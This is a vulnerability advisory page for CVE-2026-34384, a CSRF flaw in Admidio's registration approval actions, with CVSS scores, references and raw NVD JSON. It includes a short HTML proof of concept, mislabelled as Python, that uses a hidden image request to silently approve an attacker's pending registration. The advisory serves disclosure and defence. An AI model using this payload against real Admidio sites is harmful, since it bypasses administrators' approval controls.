CVE-2026-34384

Description

Admidio is an open-source user management solution. Prior to version 5.0.8, the create_user, assign_member, and assign_user action modes in modules/registration.php approve pending user registrations via GET request without validating a CSRF token. Unlike the delete_user mode in the same file (which correctly validates the token), these three approval actions read their parameters from $_GET and perform irreversible state changes without any protection. An attacker who has submitted a pending registration can extract their own user UUID from the registration confirmation email URL, then trick any user with the rol_approve_users right into visiting a crafted URL that automatically approves the registration. This bypasses the manual registration approval workflow entirely. This issue has been patched in version 5.0.8.

CVSS Details

CVSS Score

4.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:* - VULNERABLE

Admidio < 5.0.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-34384 Admidio CSRF
Description: This HTML snippet demonstrates how an attacker could craft a malicious link to approve a pending registration.
Usage: Host this file and send the URL to an admin with 'rol_approve_users' permission.
-->
<html>
<body>
  <!-- Replace ATTACKER_UUID with the UUID extracted from the registration email -->
  <!-- Replace TARGET_HOST with the actual Admidio domain -->
  <img src="http://TARGET_HOST/admidio/adm_program/modules/registration.php?mode=create_user&user_uuid=ATTACKER_UUID" width="0" height="0" border="0">
  <script>
    // Alternative method using JavaScript fetch
    // const uuid = 'ATTACKER_UUID';
    // fetch(`http://TARGET_HOST/admidio/adm_program/modules/registration.php?mode=create_user&user_uuid=${uuid}`, { method: 'GET', credentials: 'include' });
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34384
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34384
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34384/
[4] VulDB https://vuldb.com/cve/CVE-2026-34384
[5] https://github.com/Admidio/admidio/commit/707171c188b3e8f36007fc3f2bccbfac896ed019
[6] https://github.com/Admidio/admidio/security/advisories/GHSA-ph84-r98x-2j22
[7] https://github.com/Admidio/admidio/security/advisories/GHSA-ph84-r98x-2j22

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34384", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:30.503", "lastModified": "2026-04-01T18:31:30.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.8, the create_user, assign_member, and assign_user action modes in modules/registration.php approve pending user registrations via GET request without validating a CSRF token. Unlike the delete_user mode in the same file (which correctly validates the token), these three approval actions read their parameters from $_GET and perform irreversible state changes without any protection. An attacker who has submitted a pending registration can extract their own user UUID from the registration confirmation email URL, then trick any user with the rol_approve_users right into visiting a crafted URL that automatically approves the registration. This bypasses the manual registration approval workflow entirely. This issue has been patched in version 5.0.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:N", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.0.8", "matchCriteriaId": "943C8893-5336-477E-9026-C55A9659B1EA"}]}]}], "references": [{"url": "https://github.com/Admidio/admidio/commit/707171c188b3e8f36007fc3f2bccbfac896ed019", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-ph84-r98x-2j22", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-ph84-r98x-2j22", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}